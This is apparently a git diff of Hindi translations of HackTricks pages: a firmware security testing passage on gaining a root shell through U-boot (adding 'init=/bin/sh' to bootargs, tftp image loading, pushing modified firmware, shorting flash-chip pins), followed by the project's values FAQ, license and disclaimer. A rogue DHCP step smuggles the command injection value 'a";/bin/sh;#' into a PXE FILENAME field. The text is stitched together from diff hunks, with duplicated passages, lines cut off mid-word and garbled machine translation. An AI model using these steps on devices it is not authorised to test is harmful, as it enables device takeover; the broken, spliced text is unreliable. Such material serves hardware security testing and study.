[https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) से कॉपी किया गया
|
||||
1. **बूटलोडर के इंटरप्रीटर शैल में पहुंचें**:
|
||||
- बूट के दौरान, "0", स्पेस, या अन्य पहचाने गए "जादू कोड" दबाएं ताकि बूटलोडर के इंटरप्रीटर शैल में पहुंचा जा सके।
|
||||
|
||||
जब डिवाइस स्टार्ट अप और बूटलोडर्स जैसे U-boot में संशोधन कर रहे हों, तो निम्नलिखित का प्रयास करें:
|
||||
2. **बूट आर्ग्यूमेंट को संशोधित करें**:
|
||||
- निम्नलिखित कमांडों को निष्पादित करें ताकि '`init=/bin/sh`' को बूट आर्ग्यूमेंट में जोड़ा जा सके, जिससे शेल कमांड का निष्पादन संभव हो:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
#saveenv
|
||||
#boot
|
||||
%%%
|
||||
|
||||
* बूट के दौरान "0", स्पेस या अन्य पहचाने गए “मैजिक कोड्स” दबाकर बूटलोडर्स इंटरप्रेटर शेल तक पहुँचने का प्रयास करें।
|
||||
* शेल कमांड जैसे '`init=/bin/sh`' को बूट आर्ग्यूमेंट्स के अंत में जोड़कर कॉन्फ़िगरेशन में संशोधन करें
|
||||
* `#printenv`
|
||||
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh`
|
||||
* `#saveenv`
|
||||
* `#boot`
|
||||
* अपने वर्कस्टेशन से नेटवर्क पर स्थानीय रूप से इमेजेज लोड करने के लिए एक tftp सर्वर सेटअप करें। सुनिश्चित करें कि डिवाइस को नेटवर्क एक्सेस प्राप्त है।
|
||||
* `#setenv ipaddr 192.168.2.2 #डिवाइस का स्थानीय IP`
|
||||
* `#setenv serverip 192.168.2.1 #tftp सर्वर IP`
|
||||
* `#saveenv`
|
||||
* `#reset`
|
||||
* `#ping 192.168.2.1 #जांचें कि नेटवर्क एक्सेस उपलब्ध है या नहीं`
|
||||
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr दो आर्ग्यूमेंट्स लेता है: फाइल को लोड करने के लिए एड्रेस और TFTP सर्वर पर इमेज का फाइलनेम`
|
||||
* रूट प्राप्त करने के लिए uboot-image लिखने और संशोधित फर्मवेयर पुश करने के लिए `ubootwrite.py` का उपयोग करें
|
||||
* सक्षम डिबग फीचर्स की जांच करें जैसे:
|
||||
* विस्तृत लॉगिंग
|
||||
* मनमाने कर्नेल्स लोड करना
|
||||
* अविश्वसनीय स्रोतों से बूट करना
|
||||
* \*सावधानी बरतें: एक पिन को ग्राउंड से जोड़ें, डिवाइस बूट अप सीक्वेंस को देखें, कर्नेल डिकंप्रेस होने से पहले, ग्राउंडेड पिन को SPI फ्लैश चिप पर एक डेटा पिन (DO) से शॉर्ट/कनेक्ट करें
|
||||
* \*सावधानी बरतें: एक पिन को ग्राउंड से जोड़ें, डिवाइस बूट अप सीक्वेंस को देखें, कर्नेल डिकंप्रेस होने से पहले, ग्राउंडेड पिन को NAND फ्लैश चिप के पिन 8 और 9 से उस समय शॉर्ट/कनेक्ट करें जब U-boot UBI इमेज को डिकंप्रेस करता है
|
||||
* पिन्स को शॉर्ट करने से पहले NAND फ्लैश चिप की डेटाशीट की समीक्षा करें
|
||||
* PXE बूट के दौरान डिवाइस द्वारा इन्जेस्ट करने के लिए दुर्भावनापूर्ण पैरामीटर्स के साथ एक रोग डीएचसीपी सर्वर कॉन्फ़िगर करें
|
||||
* Metasploit के (MSF) DHCP औक्सिलियरी सर्वर का उपयोग करें और डिवाइस स्टार्टअप प्रक्रियाओं के लिए इनपुट वैलिडेशन की जांच के लिए '`FILENAME`' पैरामीटर में कमांड इंजेक्शन कमांड्स जैसे `‘a";/bin/sh;#’` को संशोधित करें।
|
||||
3. **TFTP सर्वर सेटअप**:
|
||||
- स्थानीय नेटवर्क पर छवियों को लोड करने के लिए एक TFTP सर्वर को कॉन्फ़िगर करें:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #उपकरण का स्थानीय आईपी
|
||||
#setenv serverip 192.168.2.1 #TFTP सर्वर आईपी
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #नेटवर्क एक्सेस की जांच करें
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr फ़ाइल को लोड करने के लिए पता लेता है और TFTP सर्वर पर छवि का फ़ाइल नाम लेता है
|
||||
%%%
|
||||
|
||||
\*हार्डवेयर सुरक्षा परीक्षण
|
||||
4. **`ubootwrite.py` का उपयोग करें**:
|
||||
- U-boot छवि लिखने और रूट एक्सेस प्राप्त करने के लिए संशोधित फर्मवेयर को ढोंगी करने के लिए `ubootwrite.py` का उपयोग करें।
|
||||
|
||||
5. **डीबग सुविधाओं की जांच करें**:
|
||||
- सत्यापित करें कि डीबग सुविधाएं जैसे verbose लॉगिंग, विविध कर्नेल लोड करना, या अविश्वसनीय स्रोत से बूट करने की सक्षमता सक्षम हैं।
|
||||
|
||||
6. **सावधानीपूर्वक हार्डवेयर हस्तक्षेप**:
|
||||
- उपकरण बूट-अप क्रम के दौरान एक पिन को ग्राउंड से कनेक्ट करते समय सतर्क रहें और SPI या NAND फ्लैश चिप्स के साथ बातचीत करते समय, विशेष रूप से कर्नेल डीकंप्रेस होने से पहले, ध्यानपूर्वक रहें। पिन को शॉर्ट करने से पहले NAND फ्लैश चिप की डेटाशीट की सलाह लें।
|
||||
|
||||
7. **रोग डीएचपी सर्वर कॉन्फ़िगर करें**:
|
||||
- एक रोग डीएचपी सर्वर को सेटअप करें जिसमें डिवाइस एक PXE बूट के दौरान अपशिष्ट पैरामीटर ग्रहण करें। Metasploit के (MSF) DHCP ऑक्सिलरी सर्वर जैसे उपकरण का उपयोग करें। 'FILENAME' पैरामीटर को आदेश इन्जेक्शन कमांडों के साथ संशोधित करें जैसे `'a";/bin/sh;#'` डिवाइस स्टार्टअप प्रक्रियाओं के लिए इनपुट मान्यता का परीक्षण करने के लिए।
|
||||
|
||||
**ध्यान दें**: उपकरण पिन के साथ भौतिक बातचीत को शुरू करने वाले चरण (*एस्टेरिक्स के साथ चिह्नित) को उपकरण को नुकसान पहुंचाने से बचने के लिए अत्यधिक सावधानी से निकटता देनी चाहिए।
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
# संदर्भ
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,52 +1,70 @@
|
|||
# HackTricks मूल्य
|
||||
# HackTricks मूल्य और पूछे जाने वाले प्रश्न
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मेरा** ट्विटर **पर फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**।**
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** को PRs जमा करके**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
|
||||
</details>
|
||||
|
||||
## HackTricks मूल्य
|
||||
|
||||
{% hint style="success" %}
|
||||
ये **HackTricks प्रोजेक्ट के मूल्य हैं**:
|
||||
ये हैं **HackTricks Project** के **मूल्य**:
|
||||
|
||||
* **सभी** इंटरनेट को **शैक्षिक हैकिंग** संसाधनों तक **निःशुल्क** पहुंच प्रदान करना।
|
||||
* हैकिंग सीखने के बारे में है, और सीखना जितना संभव हो सके उतना मुफ्त होना चाहिए।
|
||||
* इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में कार्य करना है।
|
||||
* समुदाय द्वारा प्रकाशित शानदार **हैकिंग** तकनीकों को **संग्रहित** करना और **मूल** **लेखकों** को सभी **श्रेय** देना।
|
||||
* **हम दूसरे लोगों का श्रेय नहीं चाहते**, हम सिर्फ सभी के लिए अच्छी तरकीबें संग्रहित करना चाहते हैं।
|
||||
* हम HackTricks में **अपने स्वयं के शोध** भी लिखते हैं।
|
||||
* कई मामलों में हम सिर्फ **HackTricks में तकनीक के महत्वपूर्ण भागों का सारांश लिखेंगे** और **पाठक को मूल पोस्ट पर अधिक विवरण के लिए जाने के लिए प्रोत्साहित करेंगे**।
|
||||
* पुस्तक में सभी हैकिंग तकनीकों को **व्यवस्थित करना** ताकि यह **अधिक सुलभ हो**
|
||||
* HackTricks टीम ने हजारों घंटे मुफ्त में समर्पित किए हैं **केवल सामग्री को व्यवस्थित करने के लिए** ताकि लोग **तेजी से सीख सकें**
|
||||
* **सभी** इंटरनेट पर **शैक्षिक हैकिंग** संसाधनों का **मुफ्त** उपयोग प्रदान करें।
|
||||
* हैकिंग सीखने के बारे में है, और सीखना जितना संभव होना चाहिए।
|
||||
* इस पुस्तक का उद्देश्य एक व्यापक **शैक्षिक संसाधन** के रूप में सेवा करना।
|
||||
* **आद्यात्मिक लेखकों** को सभी **श्रेय** देते हुए **शानदार हैकिंग** तकनीकों को **संग्रहित** करें।
|
||||
* **हम अन्य लोगों से क्रेडिट नहीं चाहते**, हम सिर्फ सभी के लिए शानदार ट्रिक्स संग्रहित करना चाहते हैं।
|
||||
* हम भी **अपने खोज** HackTricks में लिखते हैं।
|
||||
* कई मामलों में हम सिर्फ **हैकिंग तकनीक के महत्वपूर्ण हिस्सों का सारांश** HackTricks में लिखेंगे और पाठक को अधिक विवरण के लिए मूल पोस्ट पर जाने की **प्रोत्साहना करेंगे**।
|
||||
* पुस्तक में सभी हैकिंग तकनीकों को **आयोजित करें** ताकि यह **अधिक पहुंचनीय** हो।
|
||||
* HackTricks टीम ने लोगों को **तेजी से सीखने** के लिए केवल **सामग्री का आयोजन** करने के लिए हजारों घंटे समर्पित की है।
|
||||
{% endhint %}
|
||||
|
||||
## HackTricks faq
|
||||
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks पूछे जाने वाले प्रश्न
|
||||
|
||||
{% hint style="success" %}
|
||||
* **इन संसाधनों के लिए धन्यवाद, मैं आपको कैसे धन्यवाद दे सकता हूँ?**
|
||||
* **इन संसाधनों के लिए बहुत धन्यवाद, मैं आपका कैसे धन्यवाद कर सकता हूँ?**
|
||||
{% endhint %}
|
||||
|
||||
आप HackTricks टीमों को इन सभी संसाधनों को एक साथ रखने के लिए सार्वजनिक रूप से एक ट्वीट में उल्लेख करके धन्यवाद दे सकते हैं [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
|
||||
यदि आप विशेष रूप से आभारी हैं तो आप [**यहाँ प्रोजेक्ट को प्रायोजित कर सकते हैं**](https://github.com/sponsors/carlospolop).\
|
||||
और Github प्रोजेक्ट्स में **स्टार देना न भूलें!** (नीचे लिंक देखें)।
|
||||
आप HackTricks टीम को सारी इन संसाधनों को सार्वजनिक रूप से एकत्रित करने के लिए धन्यवाद दे सकते हैं एक ट्वीट में [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) को उल्लेख करके।\
|
||||
यदि आप विशेष रूप से कृतज्ञ हैं तो आप इस परियोजना का [**यहाँ समर्थन कर सकते हैं**](https://github.com/sponsors/carlospolop)।\
|
||||
और Github परियोजनाओं में **स्टार देना न भूलें!** (लिंक्स नीचे देखें)
|
||||
|
||||
{% hint style="success" %}
|
||||
* **मैं प्रोजेक्ट में कैसे योगदान दे सकता हूँ?**
|
||||
* **मैं परियोजना में योगदान कैसे दे सकता हूँ?**
|
||||
{% endhint %}
|
||||
|
||||
आप समुदाय के साथ नई टिप्स और तरकीबें **साझा कर सकते हैं या पुस्तकों में पाए गए बग्स को ठीक कर सकते हैं** इसके लिए आपको संबंधित Github पेजों पर **Pull Request** भेजना होगा:
|
||||
आप समुदाय के साथ **नए टिप्स और ट्रिक्स साझा कर सकते हैं या पुस्तकों में पाए गए बग्स को ठीक कर सकते हैं** जो आप उपयोगकर्ता गाइड पेज्स पर **पुल अनुरोध** भेजकर:
|
||||
|
||||
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Github प्रोजेक्ट्स में **स्टार देना न भूलें!**
|
||||
गिथब परियोजनाओं में **स्टार देना न भूलें!**
|
||||
|
||||
{% hint style="success" %}
|
||||
* **क्या मैं HackTricks से कुछ सामग्री को कॉपी करके अपने ब्लॉग में डाल सकता हूँ?**
|
||||
* **क्या मैं HackTricks से कुछ सामग्री कॉपी करके अपने ब्लॉग में डाल सकता हूँ?**
|
||||
{% endhint %}
|
||||
|
||||
हाँ, आप कर सकते हैं, लेकिन **विशेष लिंक(लिंक्स) का उल्लेख करना न भूलें** जहाँ से सामग्री ली गई थी।
|
||||
हाँ, आप कर सकते हैं, लेकिन **विशिष्ट लिंक(जो) जहाँ से सामग्री ली गई थी** को उल्लेख करना न भूलें।
|
||||
|
||||
{% hint style="success" %}
|
||||
* **मैं HackTricks के एक पृष्ठ को कैसे उद्धृत कर सकता हूँ?**
|
||||
* **मैं HackTricks के पृष्ठ को कैसे संदर्भित कर सकता हूँ?**
|
||||
{% endhint %}
|
||||
|
||||
जब तक पृष्ठ(पृष्ठों) का लिंक जहाँ से आपने जानकारी ली है दिखाई दे रहा है तब तक यह पर्याप्त है।\
|
||||
यदि आपको bibtex की आवश्यकता है तो आप इस तरह कुछ उपयोग कर सकते हैं:
|
||||
जब तक पृष्ठ(जो) का लिंक **जहाँ से आपने जानकारी ली है** दिखाई दे रहा हो, तब तक काफी है।\
|
||||
यदि आपको बिबटेक की आवश्यकता है तो आप कुछ इस प्रकार से उपयोग कर सकते हैं:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
|
@ -56,58 +74,61 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
|
|||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
* **क्या मैं अपने ब्लॉग में सभी HackTricks की प्रतिलिपि बना सकता हूँ?**
|
||||
* **क्या मैं अपने ब्लॉग में सभी HackTricks कॉपी कर सकता हूँ?**
|
||||
{% endhint %}
|
||||
|
||||
**मैं ऐसा पसंद नहीं करूंगा**। यह **किसी के लिए भी लाभकारी नहीं होगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध है** आधिकारिक HackTricks पुस्तकों में मुफ्त के लिए।
|
||||
**मैं इसे पसंद नहीं करूंगा**। यह **किसी को भी फायदा नहीं पहुंचाएगा** क्योंकि सभी **सामग्री पहले से ही सार्वजनिक रूप से उपलब्ध** है आधिकारिक HackTricks पुस्तकों में मुफ्त में।
|
||||
|
||||
यदि आपको डर है कि यह गायब हो जाएगा, तो बस इसे Github में फोर्क करें या इसे डाउनलोड करें, जैसा कि मैंने कहा यह पहले से ही मुफ्त है।
|
||||
अगर आपको डर है कि यह गायब हो जाएगा, तो इसे Github में fork करें या इसे डाउनलोड करें, जैसा कि मैंने कहा कि यह पहले से ही मुफ्त है।
|
||||
|
||||
{% hint style="warning" %}
|
||||
* **आपके पास प्रायोजक क्यों हैं? क्या HackTricks पुस्तकें व्यावसायिक उद्देश्यों के लिए हैं?**
|
||||
* **आपके पास प्रायोजक क्यों हैं? क्या HackTricks पुस्तकों का व्यापारिक उद्देश्य है?**
|
||||
{% endhint %}
|
||||
|
||||
पहला **HackTricks** **मूल्य** यह है कि **निःशुल्क** हैकिंग शैक्षिक संसाधनों को **सभी** दुनिया को प्रदान करना। HackTricks टीम ने इस सामग्री को प्रदान करने के लिए **हजारों घंटे समर्पित किए हैं**, फिर से, **निःशुल्क** के लिए।
|
||||
**HackTricks** की पहली **मूल्य** यह है कि **सभी** दुनिया को **मुफ्त** हैकिंग शैक्षिक संसाधन प्रदान करना। HackTricks टीम ने इस सामग्री को प्रदान करने के लिए **हजारों घंटे समर्पित** की है, फिर भी, **मुफ्त** में।
|
||||
|
||||
यदि आप सोचते हैं कि HackTricks पुस्तकें **व्यावसायिक उद्देश्यों** के लिए बनाई गई हैं तो आप **पूरी तरह से गलत हैं**।
|
||||
अगर आपको लगता है कि HackTricks पुस्तकें **व्यापारिक उद्देश्यों** के लिए बनाई गई हैं तो आप **पूरी तरह से गलत हैं**।
|
||||
|
||||
हमारे पास प्रायोजक हैं क्योंकि, भले ही सभी सामग्री निःशुल्क है, हम समुदाय को हमारे काम की सराहना करने का अवसर **प्रदान करना चाहते हैं** यदि वे चाहते हैं। इसलिए, हम लोगों को [**Github प्रायोजकों**](https://github.com/sponsors/carlospolop) के माध्यम से HackTricks को दान करने का विकल्प प्रदान करते हैं, और **प्रासंगिक साइबर सुरक्षा कंपनियों** को HackTricks का प्रायोजन करने और पुस्तक में कुछ विज्ञापन **विज्ञापन** होने के लिए, विज्ञापन हमेशा ऐसी जगहों पर रखे जाते हैं जहां वे **दृश्यमान** होते हैं लेकिन **सीखने की प्रक्रिया में व्यवधान नहीं डालते** अगर कोई सामग्री पर ध्यान केंद्रित करता है।
|
||||
हमारे पास प्रायोजक हैं क्योंकि, यद्यपि सभी सामग्री मुफ्त है, हम लोगों को यह संभावना देना चाहते हैं कि वे हमारे काम की सराहना कर सकें अगर वे चाहें। इसलिए, हम लोगों को HackTricks के लिए दान करने का विकल्प प्रदान करते हैं [**Github sponsors**](https://github.com/sponsors/carlospolop), और **महत्वपूर्ण साइबर सुरक्षा कंपनियों** को HackTricks का प्रायोजन करने और पुस्तक में **कुछ विज्ञापन** दिखाने की संभावना है, जिसे हमेशा ऐसी जगहों पर रखा जाता है जहां उन्हें **दिखाया जा सकता है** लेकिन **सीखने** की प्रक्रिया को **बाधित नहीं** करता। अगर कोई व्यक्ति सामग्री पर ध्यान केंद्रित करता है।
|
||||
|
||||
आपको HackTricks में अन्य ब्लॉगों की तरह परेशान करने वाले विज्ञापन नहीं मिलेंगे जिनमें HackTricks से कम सामग्री होती है, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाया गया है।
|
||||
आप HackTricks में उत्पीड़क विज्ञापनों से भरी हुई नहीं पाएंगे जैसे कि अन्य ब्लॉग्स, जिनमें HackTricks से कम सामग्री होती है, क्योंकि HackTricks का व्यापारिक उद्देश्य नहीं है।
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **मुझे क्या करना चाहिए अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन उसका उल्लेख नहीं है?**
|
||||
* **अगर किसी HackTricks पृष्ठ पर मेरे ब्लॉग पोस्ट पर आधारित है लेकिन संदर्भित नहीं है, तो मैं क्या करूँ?**
|
||||
{% endhint %}
|
||||
|
||||
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से सूचित करें, HackTricks पृष्ठ का लिंक जिसमें सामग्री है और आपके ब्लॉग का लिंक और **हम इसे जांचेंगे और जल्द से जल्द जोड़ देंगे**।
|
||||
**हम बहुत खेद हैं। यह होना नहीं चाहिए था**। कृपया, हमें Github मुद्दों, ट्विटर, डिस्कॉर्ड... के माध्यम से जानकारी दें कि सामग्री के साथ HackTricks पृष्ठ का लिंक और आपके ब्लॉग का लिंक है और **हम इसे जांचेंगे और जल्द से जल्द जोड़ेंगे**।
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **मुझे क्या करना चाहिए अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं नहीं चाहता कि वह वहाँ हो?**
|
||||
* **अगर HackTricks में मेरे ब्लॉग से सामग्री है और मुझे वहाँ नहीं चाहिए, तो मैं क्या करूँ?**
|
||||
{% endhint %}
|
||||
|
||||
किसी भी मामले में जान लें कि HackTricks इस मामले में आपके **SEO** को बेहतर बना रहा होगा और लोगों को **आपके पृष्ठ की जांच करने के लिए प्रोत्साहित** कर रहा होगा। अगर आप फिर भी चाहते हैं कि आपके ब्लॉग की सामग्री को HackTricks से हटा दिया जाए तो हमें सूचित करें।
|
||||
किसी भी स्थिति में ध्यान दें कि इस मामले में HackTricks आपके **एसईओ** को सुधार रहा होगा और लोगों को उत्साहित कर रहा होगा **आपके पृष्ठ की जांच करने** के लिए (लोगों ने हमें बताया है कि क्योंकि उनका कुछ पृष्ठ HackTricks में है, इसलिए उन्हें अधिक यात्राएँ मिलती हैं)। अगर फिर भी आप चाहते हैं कि आपके ब्लॉग की सामग्री को HackTricks से हटाया जाए, तो हमें बताएं।
|
||||
|
||||
नोट करें कि इससे पूछने पर हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, लेकिन अगर वही तकनीक अन्य वेब पेजों में पाई जा सकती है तो हम सिर्फ सूचना के स्रोत और व्याख्या को बदल देंगे, इसलिए असली सामग्री शायद HackTricks से नहीं हटेगी (साइबर सुरक्षा में, आम तौर पर, हमेशा कई पोस्ट एक ही तकनीक के बारे में बात करते हैं)।
|
||||
ध्यान दें कि इस स्वरूप में हम निश्चित रूप से **आपके ब्लॉग के हर लिंक को हटा देंगे**, और इस पर आधारित किसी भी सामग्री को।
|
||||
|
||||
{% hint style="danger" %}
|
||||
* **अगर मैं HackTricks में कॉपी-पेस्ट सामग्री पाता हूँ, तो मैं क्या करूँ?**
|
||||
{% endhint %}
|
||||
|
||||
**दुर्भाग्य से यह अभ्यास प्रोजेक्ट की शुरुआत से ही आया था**। हमेशा से हमने **मूल लेखकों को सभी क्रेडिट** देने की कोशिश की है। अगर आप किसी पृष्ठ में कॉपी-पेस्ट सामग्री पाते हैं (यहां भी मूल स्रोत संदर्भित हो), तो हमें बताएं और हम इसे या तो **हटा देंगे**, **लिंक छोड़ देंगे**, या **पुनः लिखेंगे**।
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
||||
## लाइसेंस
|
||||
|
||||
**कॉपीराइट © Carlos Polop 2023. जहाँ अन्यथा निर्दिष्ट नहीं है (पुस्तक में कॉपी की गई बाहरी जानकारी मूल लेखकों की है),** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **पर Carlos Polop द्वारा लिखित पाठ का लाइसेंस**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)** के तहत है।**\
|
||||
**यदि आप इसे व्यावसायिक उद्देश्यों के लिए उपयोग करना चाहते हैं, मुझसे संपर्क करें।**
|
||||
**कॉपीराइट © कार्लोस पोलोप 2024। जहां अन्यथा निर्दिष्ट किया गया है (पुस्तक में डाली गई बाह्य जानकारी मूल लेखकों की संपत्ति है), कार्लोस पोलोप द्वारा** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **पर टेक्स्ट** **का अधिकार** **अधिकारिक अंतर्राष्ट्रीय (सीसी BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)** लाइसेंस के तहत है।**\
|
||||
**यदि आप इसे व्यापारिक उद्देश्यों के साथ उपयोग करना चाहते हैं, मुझसे संपर्क करें।**
|
||||
|
||||
## **अस्वीकरण**
|
||||
## **अस्वीकृति**
|
||||
|
||||
{% hint style="danger" %}
|
||||
यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में निहित सामग्री 'जैसी है' आधार पर प्रदान की जाती है, और लेखक और प्रकाशक किसी भी प्रकार की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। इस तरह की जानकारी पर आपका निर्भरता इसलिए पूरी तरह से आपके अपने जोखिम पर है।
|
||||
यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में दी गई सामग्री 'जैसी है', और लेखक और प्रकाशक किसी भी प्रकार की पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या जानकारी, उत्पाद, सेवाएँ, या इस पुस्तक में शामिल ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। आप ऐसी जानकारी पर जितना भी भरोसा करते हैं, वह आपकी अपनी जोखिम पर है।
|
||||
|
||||
लेखक और प्रकाशक किसी भी घटना में किसी भी नुकसान या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें अप्रत्यक्ष या परिणामी नुकसान या क्षति, या इस पुस्तक के उपयोग से या इसके साथ संबंध में डेटा या लाभ के नुकसान से उत्पन्न कोई भी नुकसान या क्षति शामिल है।
|
||||
लेखक और प्रकाशक किसी भी हानि या नुकसान के लिए किसी भी घातक या परिणामस्वरूप हानि या नुकसान के लिए किसी भी हानि या नुकसान के लिए जिम्मेदार नहीं होंगे, या इस पुस्तक का उपयोग करने के संबंध में किसी भी नुकसान या नुकसान के लिए जिम्मेदार नहीं होंगे।
|
||||
|
||||
इसके अलावा, इस पुस्तक में वर्णित तकनीकें और युक्तियाँ केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान की जाती हैं, और किसी भी अवैध या दुर्भावनापूर्ण गतिविधियों के लिए उपयोग नहीं की जानी चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में निहित जानकारी का कोई भी उपयोग उपयोगकर्ता के अपने जोखिम और विवेक पर है।
|
||||
इसके अतिरिक्त, इस पुस्तक में वर्णित तकनीक और युक्तियाँ केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए प्रदान की जाती हैं, और किसी भी अवैध या दुराचार गतिविधियों के लिए उपयोग नहीं किया जाना चाहिए। लेखक और प्रकाशक किसी भी अवैध या अनैतिक गतिविधियों का समर्थन या समर्थन नहीं करते हैं, और इस पुस्तक में दी गई जानकारी का कोई भी उपयोग उपयोगकर्ता की अपनी जोखिम और विवेक पर है।
|
||||
|
||||
उपयोगकर्ता इस पुस्तक में निहित जानकारी के आधार पर की गई किसी भी कार्रवाई के लिए अकेले जिम्मेदार है, और जब यहाँ वर्णित किसी भी तकनीक या युक्तियों को लागू करने की कोशिश करते समय हमेशा पेशेवर सलाह और सहायता लेनी चाहिए।
|
||||
उपयोगकर्ता केवल इस पुस्तक में दी गई जानकारी पर आधारित किसी भी कार्रवाई के लिए पूरी तरह से जिम्मेदार है, और किसी भी तकनीक या युक्तियों को लागू करने की कोशिश करने के लिए हमेशा पेशेवर सलाह और सहायता खोजनी चाहिए।
|
||||
|
||||
इस पुस्तक का उपयोग करके, उपयोगकर्ता इस पुस्तक के उपयोग से या इसमें निहित किसी भी जानकारी से होने वाले किसी भी नुकसान, हानि, या क्षति के लिए लेखकों और प्रकाशकों को किसी भी और सभी दायित्व और जिम्मेदारी से मुक्त करने के लिए सहमत होता है।
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>शून
|
||||
इस पुस्तक का उपयोग करके, उपयो
|
||||
|
|
|
@ -1,314 +1,62 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
